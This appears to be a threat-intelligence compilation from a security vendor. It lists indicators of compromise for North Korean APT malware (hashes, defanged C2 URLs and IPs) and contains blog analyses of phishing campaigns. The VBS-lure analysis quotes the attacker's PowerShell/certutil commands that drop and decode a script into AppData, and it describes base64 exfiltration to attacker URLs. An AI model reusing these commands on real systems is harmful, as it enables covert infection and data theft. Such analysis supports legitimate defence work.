2ff981ba02b1c5a8487b858265b037de 815c690bfc097b82a8f1d171cd00e775 b567f7aac1574b2ba3a769702d2f6a1e 93758669e4f689b2f3b8b9ee6189c3df 7e041b101e1e574fb81f3f0cdf1c72b8 946f787c129bf469298aa881fb0843f4 PIF Dropper (UPX Unpack) 51c19c3ac15f7434b777effd4e490b41 e521c68ac280c00b0e27cbd2fed4c9c4 Downloader e413c5922addcde26edc5d72c3f3163d 768c84100d6e3181a26fa50261129287 218b391172f990ec35e08a221b77fa14 2a57aea6acc479332cf176aa9e976015 23ea8eba791c783dd197ac3695b57a92 acc36ffa4f40016b483deac1f78cf07d 8414d95877acde1b2557d7ab8ac0119f 6603e6628ca799ea21822d9952ce048a 54a0fdabbdf7e77509850e25ab956094 447163d776b62bf0b1c652c996cc0586 ee5a33cc147a56fe8e77cc37a4320527 Downloader (UPX Unpack) 19e09cfdcfe0c255c50b67d52b6a7afe AppleSeed - HTTP 7348d1f1f1ca3b7ff25b362231365904 aef664a85be61781dc20af81a644cfa3 f0dbc8a4d62ebb22c0bae473de1c98d2 0d9f8b5b7417896508a49047a5eb18eb 911937edadd017d5475570a1207bc3eb 8355964a47f248ed39caccb733aabc44 fd805335efa9ef39b121c7f1cec6ff83 151af490f16384372473f7696c90aa2a 07db667386e71a3334d79d93b26e930b 2401ad5f935df2757214a84538bdfdde 684b27302d9e5e6558651bd1ab50f5d7 f928a8eb6a04e8c47eafbed8ff014ed1 5c8afc7e08e480d10122c007b0b0cdf4 fea415382e510eea7b49ddc68cbdc402 7b6d65191d091bdd7c997ffcd670b018 c9ede077ec500240864c47c69fe5c728 5ce3a4eddba6ec8273db024b1813a530 d228d8453f1249f2177f376bfae4b10f 29d2895afb76ae73705b05847d3b2384 d68454cfef64f71caaa9c4f44c016a68 04d0856afb1aa9168377d6aa579c5403 44222674cf1175859b1756038f030e2d 866d2981320c69db5294d0761788f05a Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) 2142739359fd0c614ffe3e2fcbc8c89d 1ce204f16d458e78ed8de91c332545cc 3913423877bd01729a63ba6dd075a19c d7b2cf6c8597d12d30aca68b277912af ba615365f00a2a631c6f8ccafdf52a80 d214790381ab8d1bfb909ac0b0d38051 d77dd109df7874e3c2cb72e9e169f909 1eefdfd7b83c2be2c388acb4b19fdd50 43e65ed5d864f0994277e4cdb217e9dd 801894c7f962e48e2fa35260b8f37a65 d6727e4a3f84d99d4e97ff6fb246c33b 60a65964fe90e1fd7d3d50623ed05083 89fff6645013008cda57f88639b92990 66b33561a84a8a8b78883b5e83ef76e5 de02fd9415983147bacfb839658aef7a cb9f97f06743c4592b5c5b0b2538ae5c 373a04225dd9b0d99cab3ed9ca970a23 b239679d6cd70e0d4ae30852005752ca ef75f528fb738e9519950bd615c85f8e ae47cd69cf321640d7eebb4490580681 8814fc3d81b3a948f54b0c035ece41aa 3d235aa8f66ddeec5dc4268806c22229 537b319927c0a7fbfaa0d411283069e3 076fcf70558836549151e7685adb1203 9d00bf9a834d6d5361b4a281aaa9ddd0 605c3dee08569692b67f25a47cb4a397 10b9702f8096afa8c928de6507f7ecfe df14d5c8c7a1fb5c12e9c7882540c3c0 41a8fc708ea0181c704a10b71771620c d3eee11514cf901b273bcbd4d91c8af5 a44966b7ddddbc62d7eb967d34812840 7c86ce42fed192ba7d1e09af0a7bf821 4ea6280e76b8c9fd6432faab3e1566b7 e6bc6e7fd86c5000d6557416e765ee7d 03cf908006d0b6bcac671ebc88f1ddf7 43917a2b19e25e3ffd110188404691d5 5aa0393b910b3f94b327e4e6162265fc 4d7816bb6f22dc76d3564e312a38ecc8 ca5c311cdf05a4661dc490e0929cdef1 a36414bf5195e523797d6e30a2e1225b 157160589dc3d5bad2e7ed15629b87d6 a03598cd616f86998daef034d6be2ec5 85ae0be9411b1ab0d7644347af0f7f07 ed17ac8d2ee4a3b145e5784887b2499a 8b775c805427560a4cedd900c8e63863 80a2bb7884b8bad4a8e83c2cb03ee343 d916c3533a89e498159fc432d645edb8 14e01ed4d086206d3c4b7159dc887f25 739d14336826d078c40c9580e3396d15 df0ed691353427377f58972a113b75eb 165f120ac79eda977d10f2f5203ff067 541fa4fb60690ffbe48b24cd2eeda32e e40cb1328cf00cc490a7239141db3661 4d20e2f1c2e8e9503d2bf7d0422b7ac7 171e12e3673eb0f934ce94cb583daccc 7480f871e59de96aaf2a20271ef2eab6 68eddf7fe33ac28a71f63437e2320b43 2cb77491573acc5e8198d8cf68300106 Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) 07c52157eb97ebe792b03e3a9d8a8240 499b72fc9973d2f2ee6679fd60d9dbaf 876db1153d0689092619315a61138c47 de9254369b928eaab82c84be777ebd05 9f9fd9812bac6bc71fe553c82faede94 bbc79820ccc040a54d2327ec28875377 734e034f968f13b4fbe5eddf443c4435 c7fbffb557c2006fd3316470e0c763d2 a40d47de39d25452af79cf1a9f812ee1 41950ac0d33adce8c8dcd0bed0e76591 3c47e1074f0845f50b615f1fb99b3bd8 1976fe2bc1011c02ff50c807f97cb230 caa1a847d0ae3f3d647474f5db9069bf c019e4bd1d192e08c56135a501a828fe 25afb96dc0db40d2de6313ce9fa7fdc7 28e0e331b4657e2383978c3fba89d7af 8f19fb2998e24bd05ff39bf2a704acd7 4e58ea982e3e95fe7b1bdb480ab9810e AppleSeed - HTTP (UPX or Self Unpack) 445299630a7675b2dbdc0ddfb08181a0 21994210ecb683ebccfaeda7a58b93f4 dd94918ac64425f9e14d3ee11fd22f26 c9540a5128ff77cf184b894a09a2fbb0 03b56d2764a29625fd7f804d0e431ab9 2d1f1132ab7e80a6a8546dd2ac45bd89 c1681bd8a0bfb54f208d2d1eee6693ec 9465a1a8cd418b8737e4c1f7dbe919f7 1de3b318b8a6636627004c6c43c87254 179ebbc3ea95ebaf882e997c469e800b 0ab009337ba3ed59560851db078e170a 8abb227a7c90a24e57e987cbf1cea1b4 907590565c5d3494addcd561736135df 7842a386fcd8bb8572b19383fed0b1e1 c688c60c94ead98f772c20cf18fb02d1 b5e2fff1591aa8331a1b9dfd1b2be435 c861f25bb943f77a909b33d62bb71926 8220d11b69ad5e516234405e00e899e0 5969b33fc2e70e9d007edd7ec8b8c7ea aed94d4b249d93c40c63267b9106f7a9 7b623d8d8821cdea344b58e8b392a77a e6d6cb76e2c91b6771b4fb4e19785e76 a22b6ee659d80bfc4e0d51f46973eff0 e98fae79f1c389313fcc27343ea2e359 0c4c830daac33221188e3c5461b35b6b AppleSeed - EMAIL 98015898c06603cc50bf0ed1eaf8fdff 8c5c844eb8612235cfbdf1fc8c59af65 dacb71c5eac21b41bb8077fe2e9f5a25 35ee0f5d686e72aba04253b0b39d19fe f2a39067724a227f6f7bc0f0602bae32 18d94704439c9eda33ea49eab40d99a5 0c6da2b9f9a5d8b3cf01f682c097f48b AppleSeed - EMAIL (UPX Unpack) 2c49b207dcd0454e6e7486ce6126f3e0 3bad087e698b257d5c3b8ac11392973d Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) 40add75d64cebbc6f9054d0fa7a3d8cf 1d759150d2364a2fd0db7c22049ada22 6844589e2962b3914824cc8b90a552a6 a213a2bdfb76bcb4957568f08f753b85 Initial Version PebbleDash 8251bd566bdc6363b53f73224e4bd12b bb9641441dbc300939077bc3a0b60846 3998926526d5950c62ca2ec0225b8e7e 232279212c0ac76e13c524ba32fb545b 4ffcb40b7ef5f475e75d972dd69bb7fb c78523f37f856d9743638ce1b0128fcd 7c2fcbb47a97709b7b4c7001000882fd b3ed33cf6d37e45b013afc4c6bbb84d9 Initial Version PebbleDash (Self Unpack) baed0df969bdc9d914040b75bb3a7b8f Latest Version PebbleDash e33a34fa0e0696f6eae4feba11873f56 bbab9d691b616df065049d4c1c4f356f 5c04be3a9e52e04500e1b729988ab902 3c3f2c3df0ddefebe51ce8fc9fd888f8 a9a495491914257afc294fa6c2d215ba Latest Version PebbleDash (Unpacked) 9fa3d317b62fe14eab225d56f3c9509d df0c27db9b5d8133d07b36d2c90eab56 Meterpreter e37836c1f65fa321c7301c4062a1776c c61b965dae6f5e745f075825f3ec20d5 420634db019dc28b89bf9d2e6fe5db6d 107f917a5ddb4d3947233fbc9d47ddc8 6e8406d6680899937f23c788a7008a11 7f4624a8eb740653e2242993ee9e0997 8ae6d97cfd68f3866a60b11d4dfbace5 d5ad5ffde477e3bc154a17b4d74f401b d4da4660836d61db95dd91936e7cfa4a 3ef24a88fe011e4f6ef2639966beefa8 374a036525987bda63adeefd329e2b67 0a3c27b2bf7cd8d0913102c2931f025b 9cd1b48fba4ce9189d1cc6e522c8fbad 7872a5dfce3c3212e9cbe40d1541f9f6 7656801585f0c037834438a7d7f1288f 06f5957a2247b6e1ae0f55a3c4633b45 d010a3f121d80705e6622ded206835ac e192c1495e9d7cf18812a7a03a1e84f2 07adf13da4b6087c458b91a519a97d83 a714973224c833adb34aef84ff5e20f3 7f6ea229797148c0cd399132fb6e4069 3cfb46d86380f53788e5712a912ae6a5 11c6f97aaa583fc631f34af918516873 37e7d679cd4aa788ec63f27cb02962ea e582cf21c5f1951cf4dffd79d7e5403d Meterpreter (UPX Unpack) 11d3b490638d0376afe3540df88a6476 Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) HVNC 00ced88950283d32300eb32a5018dada 535827d41b144614e582167813fbbc4c 67aa7ddecc758dddfa8afc9d4c208af1 93efab6654a67af99bbc7f0e8fcf970f f7839eeb778ff17cf3c3518089f9bbec dd90cb5dcd7bd748baa54da870df606c 5bd6cb6747f782c0a712b8e1b1f0c735 16c0e70e63fcb6e60d6595eacbd8eeba 76c5f8173c93acc11328602cfae6c1aa HVNC (UPX Unpack) a1bcf8508c52b1cc7c353eddc36edbd5 1f498103d59cc423bb2136f100ead563 99c200d13b4ab4f61e1c41ff99296204 TightVNC 26eaff22da15256f210762a817e6dec9 088cb0d0628a82e896857de9013075f3 9a71e7e57213290a372dd5277106b65a db4ff347151c7aa1400a6b239f336375 4301a75d1fcd9752bd3006e6520f7e73 a07ddce072d7df55abdc3d05ad05fde1 5b6da21f7feb7e44d1f06fbd957fd4e7 4fdba5a94e52191ce9152a0fe1a16099 bb761c2ac19a15db657005e7bc01b822 TightVNC (UPX Unpack) be14ced87e2203ad5896754273511a14 rdpconf.exe 03fb8e478f4ba100d37a136231fa2f78 rdpwinst.exe 1177fecd07e3ad608c745c81225e4544 rdpwinst.exe (UPX Unpack) 887003ed5ecba696d58d36e495f194b9 rdpwrap.dll 461ade40b800ae80a40985594e1ac236 Malware for Adding Account 5de4061060f363a7b8821368548b4ffa a5ef533b1ab7f99678981a2921010091 Malware for Adding Account (UPX Unpack) a77c57f9762325f476eea6beef85e330 bb8a3d46abe639a429137d82000e9374 RDP Patch Malware e94f99d08a85de47e4b64fd1d38f2586 UACMe bfd9090cd62ae39da81698601c208952 UACMe (UPX Unpack) Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) 9b194fd9a101f5880976d1a36c416550 Privilege Escalation Malware 4c814e4344f8865b58bdd7f54436b355 8c8207fa4050635f43ff6e7f712c658b 8ec1e9f9bfb99e560b1b489e95713313 Powerkatz e83578514353897b42f5bebe3d7603f1 afafb039d9143257d68553cafacc1992 Powerkatz (UPX Unpack) 96dbe0326dad80b1f3de6bb156a727c8 Malware for Stealing Chrome Account Credentials 4f01512ba32bc4d6cc2a6884ed569e55 Keylogger 2978850265521ef9d820fc127f5ca77d cb4f6a13a94d6fc2c4cd1a6ba416a3d5 Keylogger (UPX Unpack) 4a74790ca680dc58fa64b7cfc94d7ed3 db9bbea9674a494b1d43c73237bb28b9 Proxy Malware 34c07d081f4d0959a4ba68de36229256 fab60b7dabd444341023055638dee1bc Related Domain, URL, and IP Address The download and C&C URLs that are used are listed below. (http was changed to hxxp.) The URL may be omitted if it contains sensitive information. PIF Dropper hxxp://pollor.p-e[.]kr/?query=5 hxxp://get.seino.p-e[.]kr/?query=5 hxxp://d.vtotal.n-e[.]kr/?query=5 hxxp://exchange.amikbvx[.]cf/?query=5 hxxp://mail.kumb[.]cf/?query=5 hxxp://vpn.atooi[.]ga/?query=5 VBS Malware hxxp://get.seino.p-e[.]kr Downloader hxxp://ai.woani[.]ml hxxp://app.veryton[.]ml hxxp://biz.gooroomee[.]ml hxxp://com.dshec[.]ml hxxp://eastsea.or[.]kr hxxp://hao.aini.pe[.]hu hxxp://imap.pamik[.]cf hxxp://love.krnvc[.]ga hxxp://pc.ac-kr.esy[.]es Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) AppleSeed - HTTP hxxp://accont.estcoft.kro[.]kr// hxxp://account.googledriver[.]ga// hxxp://adobe.acrobat.kro[.]kr// hxxp://ahnlab.check.pe[.]hu/upload/ hxxp://alps.travelmountain[.]ml// hxxp://anto.shore[.]ml// hxxp://aprodite.olympus.kr-infos[.]com// hxxp://banana.baochoiah[.]store// hxxp://banana.raminunahg[.]space// hxxp://beast.16mb[.]com// hxxp://benz-oh-haapy.96[.]lt// hxxp://bhigr.baochoiah[.]store//bnioww/ hxxp://bmw-love.890m[.]com// hxxp://boars.linecover[.]xyz// hxxp://channel-shop.manage-tech[.]club// hxxp://check.sejong-downloader.pe[.]hu// hxxp://cold.miontranck[.]host/drink/ hxxp://confirm.assembly-check-loader.pe[.]hu// hxxp://cordova2020.esy[.]es// hxxp://cuinm.huikm.kro[.]kr// hxxp://dept.lab.hol[.]es// hxxp://depts.washington[.]edu/dswkshp/wordpress/wp-content/themes/twentyfifteen/inc/io/ hxxp://do.giveme.r-e[.]kr// hxxp://dongnam2014.cafe24[.]com/image/main/sub/ hxxp://driver.spooler.p-e[.]kr// hxxp://eastsea.or[.]kr// hxxp://elle-mart.pe[.]hu// hxxp://estsft.autoupdate.kro[.]kr// hxxp://ffd-fund.pe[.]hu// hxxp://greatname.000webhostapp[.]com// hxxp://help.mappo-on[.]life// hxxp://help.octo-manage[.]net// hxxp://helper.canvas-life[.]me// hxxp://help-super.pe[.]hu// hxxp://hotmail.mail-help[.]me/file1/ hxxp://hotmail.mail-help[.]me/file2/ hxxp://ijljhsw.heroheroin.host// hxxp://inchon.decaft[.]live// hxxp://iuqsd.baochoiah[.]store/zvxcty/ hxxp://kamaze-love.96[.]lt// hxxp://kcxxwr.pagelock.host// hxxp://mail-post-check[.]pe.hu// hxxp://mjseu.dogshouse[.]online// hxxp://monkey.funnystory[.]tech// hxxp://nahika.webguiden[.]online// hxxp://office.lab.hol[.]es// hxxp://onedrive-upload.ikpoo[.]cf// hxxp://park.happysunday[.]space// hxxp://part.bigfile.pe[.]hu// hxxp://ping.requests.p-e[.]kr// hxxp://platoon.soliders[.]uno// hxxp://ppahjcz.tigerwood.tech// hxxp://proce.soute.kro[.]kr// hxxp://projectgreat.000webhostapp[.]com// hxxp://rolls-royce-love.890m[.]com// hxxp://seoul.lastpark[.]life// Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) hxxp://smile.happysunday[.]space// hxxp://snow-mart.pe[.]hu// hxxp://snu-ac-kr.pe[.]hu// hxxp://studio.lab.hol[.]es// hxxp://studio-sp.lab.hol[.]es// hxxp://suzuki.datastore.pe[.]hu// hxxp://term.invertion[.]press// hxxp://texts.letterpaper[.]press// hxxp://update.hdac-tech[.]com// hxxp://update.netsvc.n-e[.]kr// hxxp://update.nhuyj.r-e[.]kr// hxxp://update.ssnuh.kro[.]kr// hxxp://updown.kasse-tech[.]club// hxxp://upload.bigfile.hol[.]es// hxxp://upload.bigfile-nate.pe[.]hu// hxxp://upload.mydrives[.]ml// hxxp://upload.myfilestore[.]cf// hxxp://upload-confirm.esy[.]es// hxxp://washer.cleaninter[.]online// hxxp://yes24-mart.pe[.]hu// hxxp://yes24-mart.pe[.]hu/bear/ hxxp://you.ilove.n-e[.]kr// AppleSeed - EMAIL helper.1.1030@daum[.]net k1a0604a@daum[.]net k1sheliak88@daum[.]net k1-tome@daum[.]net k21yn@daum[.]net k2x0604@daum[.]net Initial Version PebbleDash 41.92.208[.]195:443 98.159.16[.]132:443 211.233.13[.]11:443 112.217.108[.]138:443 Latest Version PebbleDash hxxp://movie.youtoboo.kro[.]kr/test.php hxxp://news.scienceon.r-e[.]kr/view.php hxxp://www.onedriver.kro[.]kr/update.php PebbleDash Download URL hxxp://new.jungwoo97[.]com/install.bak/1u.exe hxxp://new.jungwoo97[.]com/install.bak/1.exe Meterpreter 23.106.122[.]239:3001 27.102.112[.]44:8080 27.102.114[.]63:3001 27.102.114[.]63:80 27.102.127[.]240:3001 27.255.79[.]204:30000 27.255.81[.]109:3015 31.172.80[.]100:3001 31.172.80[.]104:3001 37.172.80[.]104:3001 64.14.211[.]175:3015 Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) 79.133.41[.]237:4001 79.133.41[.]248:5600 210.16.120[.]251:443 HVNC 27.102.102[.]70:33890 27.102.112[.]58:33890 27.255.81[.]109:33890 27.255.81[.]71:33890 31.172.80[.]104:3030 61.14.211[.]174:33890 79.133.41[.]237:3030 TightVNC 27.102.114[.]79:5500 27.102.114[.]89:5500 27.102.127[.]240:5500 27.102.128[.]169:5500 27.255.81[.]109:5500 27.255.81[.]71:5500 31.172.80[.]104:5500 61.14.211[.]175:5500 Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) Reference https://vblocalhost.com/conference/presentations/operation-newton-hi-kimsuky-did-an-appleseedreally-fall-on-newtons-head/ [2] https://github.com/curl/curl [3] https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133c https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?i=8709a7d6-561a-4df3-8bd1a5fedce07717 (Analysis Report on Privilege Escalation Using UAC Bypass) [5] https://asec.ahnlab.com/ko/1160/ (GandCrab v4.3 distributed in the Nullsoft installer form) [6] https://github.com/hlldz/CVE-2021-1675-LPE/ https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?i=cc8cf212-f3ca-4134-812d0e471d888923 (Analysis Report of the Internal Propagation Technique Using Mimikatz) Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash) AhnLab Cyber Threat Intelligence Report This report is protected by copyright law. You may not reprint or reproduce this material for profit without permission. When citing or editing the entirety or a part of the report, please state that this report is a publication of AhnLab. * If you have any inquiries about the information about the report or its distribution, please contact AhnLab (global.sales@ahnlab.com). The report can be viewed via https://atip.ahnlab.com. AhnLab, Inc. All rights reserved. AhnLab, Inc. 220, Pangyoyeok-ro, Bundang-gu, Seongnam-si, Gyeonggi-do 13493, Korea Tel: +82 -31-722-8000 Purchase Inquiry: global.sales@ahnlab.com Fax: +82-31-722-8901 www.ahnlab.com APT attack disguised as North Korean defector resume format (VBS script) asec.ahnlab.com/ko/33141 March 29, 2022 The ASEC analysis team recently confirmed that malicious VBS for the purpose of information leakage is being distributed through phishing emails related to North Korea. It contains the contents of a broadcast related to North Korea, and a compressed file is attached. Referring to writing a resume, induce execution of the attached file. A malicious VBS script file exists inside the compressed file. Figure 1. dissemination email Figure 2. attached compressed file The brief behavior of the '2022 resume form.vbs' file is as follows. Information Collection and Transmission Generating a normal Korean file Creating additional malicious script files and registering the task scheduler When the VBS file is executed, information of the user's PC is collected through the following command. Information Collected command List of currently running processes cmd /c tasklist /v | clip routing table information cmd /c Route print | clip About Program Files folder cmd /c dir /w %SystemRoot%/../Program Files clip About Program Files (x86) folder cmd /c dir /w %SystemRoot%/../Program Files (x86) | clip Table 1. Information Collected After encoding the collected information in Base64, it is transmitted to hxxp://fserverone.webcindario[.]com/contri/sqlite/msgbugPlog.php. Parameter value: Cache=error&Sand=[User name]&Data=[base64-encoded collection information]&Em=[base64-encoded user name] Also, in order to disguise as a normal file, the Korean file created with the '2022.hwp' command is executed in the folder where the '2022 resume form.vbs' file is executed. The Korean file contains the contents of the resume format as follows. Figure 3. Hangul file inside Figure 4. Hangul file properties After that, the data present in the response received from the URL that transmitted the information is executed using PowerShell. Also, the %appdata%\mscornet.vbs file created through the corresponding response is registered in the task scheduler as the Google Update Source Link name. In addition to this, copy mscornet.vbs to the startup program folder so that the VBS file can be executed automatically, and then self-delete the '2022 resume form.vbs' file. Figure 5. created task scheduler Currently, no special response is received from hxxp://fserverone.webcindario[.]com/contri/sqlite/msgbugPlog.php, which sent the information, but the received response recorded in RAPIT, our automatic analysis system (confirmed on 3/26) ) contains additional commands. In the response message, use PowerShell to save base64-encoded data in %AppData%\~KB3241.tmp. After that, ~KB3241.tmp is decoded and saved as %AppData%\mscornet.vbs, and then ~KB3241.tmp is deleted. powershell -w hidden ECHO OFF echo RnVuY3Rpb24gaDJzKGgpDQogIERpbSBhIDogYSA9IFNwbGl0KGgpDQogIERpbSBp > "%AppData%\~KB3241.tmp" echo DQogIEZvciBpID0gMCBUbyBVQm91bmQoYSkNCiAgICAgIGEoaSkgPSBDaHIoIiYi >> "%AppData%\~KB3241.tmp" echo ZSINCmtpbGxQcm9jZXNzICJpZWxvd3V0aWwuZXhlIg== >> "%AppData%\~KB3241.tmp" certutil -f -decode "%AppData%\~KB3241.tmp" "%AppData%\mscornet.vbs" del "%AppData%\~KB3241.tmp" mscornet.vbs connects to hxxp://cmaildowninvoice.webcindario[.]com/contri/sqlite/msgbugGlog.php? Cache=fail&Sand=[PC name] and executes the received response with the Execute command. Currently, additional commands are not identified in the URL, but various malicious actions can be performed by an attacker. Recently, malicious codes disguised as North Korea-related contents are being distributed in the form of VBS scripts as well as word documents, so user attention is required. Currently, AhnLab V3 product diagnoses the file as follows. [File Diagnosis] Dropper/VBS.Generic Trojan/VBS.Agent [IOC] ab97956fec732676ecfcedf55efadcbc e49e41a810730f4bf3d43178e4c84ee5 hxxp://fserverone.webcindario[.]com/contri/sqlite/msgbugPlog.php hmsp ://cmaildowninvoice.webcindario/sqlite/contrig. Related IOCs and related detailed analysis information can be checked through AhnLab's next-generation threat intelligence platform 'AhnLab TIP' subscription service. Categories: Malware information Tagged as: VBScript A new type of malware from the Lazarus attack group that exploits the INITECH process. asec.ahnlab.com/ko/33706 April 18, 2022 AhnLab's ASEC analysis team is monitoring the situation in which about 47 companies and institutions, including defense companies, are being infected with the malicious code distributed by Lazarus Group in the first quarter of 2022, and seriously judges this situation. It was confirmed that malicious behavior was generated by the INITECH process (inisafecrosswebexsvc.exe) in the affected companies. The following items were first checked for inisafecrosswebexsvc.exe on the victim system. The inisafecrosswebexsvc.exe file is It is an executable file of INISAFE CrossWeb EX V3, a security program of INITECH. It has the same hash value as a normal file. (MD5:4541efd1c54b53a3d11532cb885b2202) It is a file normally signed by INITECH. INISAFE Web EX Client was installed in the system before the breach, and no trace of tampering was found. It is executed by iniclientsvc_x64.exe at system boot time, and it was executed in the same way on the day of the breach. The confirmed inisafecrosswebexsvc.exe file is a normal file that has not been tampered with. As a result of checking the process execution history and the code of the malicious code SCSKAppLink.dll, it was found that SCSKAppLink.dll was injected into inisafecrosswebexsvc.exe and operated. SCSKAppLink.dll contains code that branches according to the injected host process. The branch code is written to download and execute additional malicious code by accessing hxxps://matric.or.kr/include/main/main_top.asp?prd_fld=racket when it is injected into the inisafecrosswebexsvc.exe process and operates. In the rest of the branches, it is supposed to determine whether svchost.exe, rundll32.exe, and notepad.exe are injected, but the branch statement does not contain executable code, so it is not considered to be a complete malicious code. The inisafecrosswebexsvc.exe injected with SCSKAppLink.dll connects to the malicious code distribution site, downloads the downloader malware main_top[1].htm file to the Internet temporary folder path, and copies it to SCSKAppLink.dll. Download Path: c:\users\ \appdata\local\microsoft\windows\inetcache\ie\zlvrxmk3\main_top[1].htm Copied path: C:\Users\Public\SCSKAppLink.dll Figure 1. Branch code according to host process of SCSKAppLink.dll Figure 2. SCSKAppLink.dll code (C2 address accessed when host is inisafecrosswebexsvc.exe) The same malware was mentioned on a Symantec blog a few days ago. A blog titled Lazarus Targets Chemical Sector , published on April 15th, describes the Lazarus attack group attacking the chemical sector. It seems that Lazarus' attacks are expanding targeting major industries such as domestic defense and chemical industries. ( https://symantec-enterpriseblogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical ) AhnLab judges SCSKAppLink.dll to be a malicious code created by the Lazarus attack group, and continues to track the related malicious code. The IOCs of related malicious codes identified so far are as follows. [File Diagnosis] Data/BIN.Encoded Downloader/Win.LazarAgent Downloader/Win.LazarShell HackTool/Win32.Scanner Infostealer/Win.Outlook Trojan/Win.Agent Trojan/Win.Akdoor Trojan/Win.LazarBinder Trojan/Win.Lazardoor Trojan/Win.LazarKeyloger Trojan/Win.LazarLoader Trojan/Win.LazarPortscan Trojan/Win.LazarShell Trojan/Win.Zvrek Trojan/Win32.Agent [File MD5] 0775D753AEAEBC1CFF491E42C8950EC0 0AC90C7AD1BE57F705E3C42380CBCCCD 0F994F841C54702DE0277F19B1AC8C77 196FE14B4EC963BA98BBAF4A23A47AEF 1E7D604FADD7D481DFADB66B9313865D 2EF844ED5DCB9B8B38EBDE3B1E2A450C 39457097686668A2F937818A62560FE7 3D7E3781BD0B89BA88C08AA443B11FE5 3ECD26BACD9DD73819908CBA972DB66B 4B96D9CA051FC68518B5A21A35F001D0 4E2DFD387ADDEE4DE615A57A2008CFC6 5349C845499A6387823FF823FCCAA229 570F65824F055DE16EF1C392E2E4503A 683713A93337F343149A5B3836475C5D 6929CAA7831AE2600410BC5664F692B3 6A240B2EDC1CA2B652DBED44B27CB05F 7188F827D8106F563980B3CCF5558C23 7607EF6426F659042D3F1FFBFEA13E6A 7870DECBC7578DA1656D1D1FF992313C 7BF6B3CD3B3034ABB0967975E56F0A4B 81E922198D00BE3E6D41DCE773C6A7FB 878AD11012A2E965EA845311FB1B059F 8FCDF6506CA05EFAFC5AF35E0F09B341 933B640D26E397122CE8DE9293705D71 A329AC7215369469D72B93C1BAC1C3C4 A8B90B2DD98C4FDD4AE84A075A5A9473 ADF0D4BBEFCCF342493E02538155E611 B213063F28E308ADADF63D3B506E794E B3E03A41CED8C8BAA56B8B78F1D55C22 B5EAEC8CE02D684BAA3646F39E8BC9B5 B85FDE972EE618A225BFBA1CEF369CC8 B91D1A5CC4A1DE0493C1A9A9727DB6F9 B974BC9E6F375F301AE2F75D1E8B6783 BB9F5141C53E74C9D80DCE1C1A2A13F0 C99D5E7EDBA670515B7B8A4A32986149 CB5401C760B89D80657FC0EFC605AE62 D3BFA72CC8F6F8D3D822395DBC8CD8B8 D57F8CD2F49E34BEDA94B0F90426F7B3 D9BC5EDCE4B1C4A941B0BF8E3FAC3EA8 DD3710ABFACDF381801BB11CF142BD29 DD759642659D7B2C7FD365CBEFF4942E E04206BA707DE4CDE94EFEDA6752D0CA E6265DCCFDEF1D1AA134AEC6236734F8 E84404DED7096CD42EF39847DE002361 E8D7EAF96B3E5AEE219013C55682968C EC99EBB78857211EB52EB84750D070E7 F15FD25A4C6E94E2202090BBB82EBC39 F48369111F2FAABB0CCB5D1D90491E0E [IP/URL] hxxps://www.matric.or.kr/include/main/main_top.asp hxxps://www.gaonwell.com/data/base/mail/login.asp hxxp://www.h-cube.co.kr/main/image/gelery/gallery.asp hxxps://www.shoppingbagsdirect.com/media/images/?ui=t hxxps://www.okkids.kr/html/program/display/?re=32 hxxps://www.namchoncc.co.kr/include/?ind=55 Related IOCs and related detailed analysis information can be checked through AhnLab's next-generation threat intelligence platform 'AhnLab TIP' subscription service. Categories: Malware information , incident analysis case Tagged as: Forensics , Incident , Lazarus Distribution of malicious Hangul documents disguised as press releases for the 20th presidential election onboard voting asec.ahnlab.com/ko/32330 March 3, 2022 Ahead of the presidential election, the ASEC analysis team confirmed that malicious Korean documents disguised as press release on board the 20th presidential election were being distributed. The attacker distributed the malicious Korean document on February 28th, and the malicious document was not secured, but according to the company's AhnLab Smart Defense (ASD) infrastructure log, it is estimated that the batch file is driven through the internal OLE object to execute PowerShell. . Distribution file name: Press release (220228)_March_1st___March_4th_20th_Presidential Election_Shipboard Voting_Conducted (final).hwp [Figure 1] shows the batch file path and Korean file name confirmed in the infrastructure. While the same normal Korean document size is 2.06 MB, the malicious Korean document is 2.42 MB, and it seems that the document was created by inserting an additional BAT file inside. [Figure 1] ASD infrastructure collection %TEMP%\mx6.bat (path of batch file creation) A similar type of attack was also confirmed on February 7th. According to the article, the attacker impersonated the National Election Commission (NEC) and distributed malicious documents disguised as a normal document titled Public Recruitment of Counting Observers for the 20th Presidential Election North Korean hackers distributing malicious press releases under the guise of the National Election Commission | DailyNK It was found on the 8th that a North Korean hacking organization was distributing hacking emails impersonating the National Election Commission (NEC). Considering the fact that the press release distributed by the National Election Commission was used, it is highly likely that the attack is being carried out targeting journalists in the media, so caution is required. The common features of the malicious Hangul documents that were circulated at the time and the documents used in this attack are as follows. Dissemination of malicious Korean documents disguised as the same institution (NEC) Inducing Batch File Execution in OLE Object Way A PowerShell command containing a variable name ( $kkx9 ) similar to the one used in the NEC impersonation attack on 2/7 ( $kk y4 ) Part of the PowerShell command: ( $kkx9 ='[DllImport( user32.dll )] public static extern bool ShowWindow(int handle, int state);') [Figure 2] Some of the collected PowerShell commands [Figure 3] below is a normal Korean document presumed to have been used by the attacker for distribution. [Figure 3] Normal Korean document (press release (220228)_March_1st___March_4th_20th_Presidential Election_Shipboard Voting_Conduct (final).hwp) Normal official Korean documents can be found on the official website of the National Election Commission ( https://www.nec.go.kr/ ), and users should be skeptical when downloading similar documents from an unknown site. https://www.nec.go.kr/cmm/dozen/view.do?cbIdx=1090&bcIdx=164018&fileNo=1 (Document download address) The attackers seem to be carrying out various attacks impersonating the National Election Commission as the 20th presidential election approaches. AhnLab continues to monitor similar malicious behaviors and will share new information as soon as it becomes available. [AhnLab V3 product correspondence] [Behavior Detection] Execution/MDP.Powershell.M4208 Related IOCs and related detailed analysis information can be checked through AhnLab's 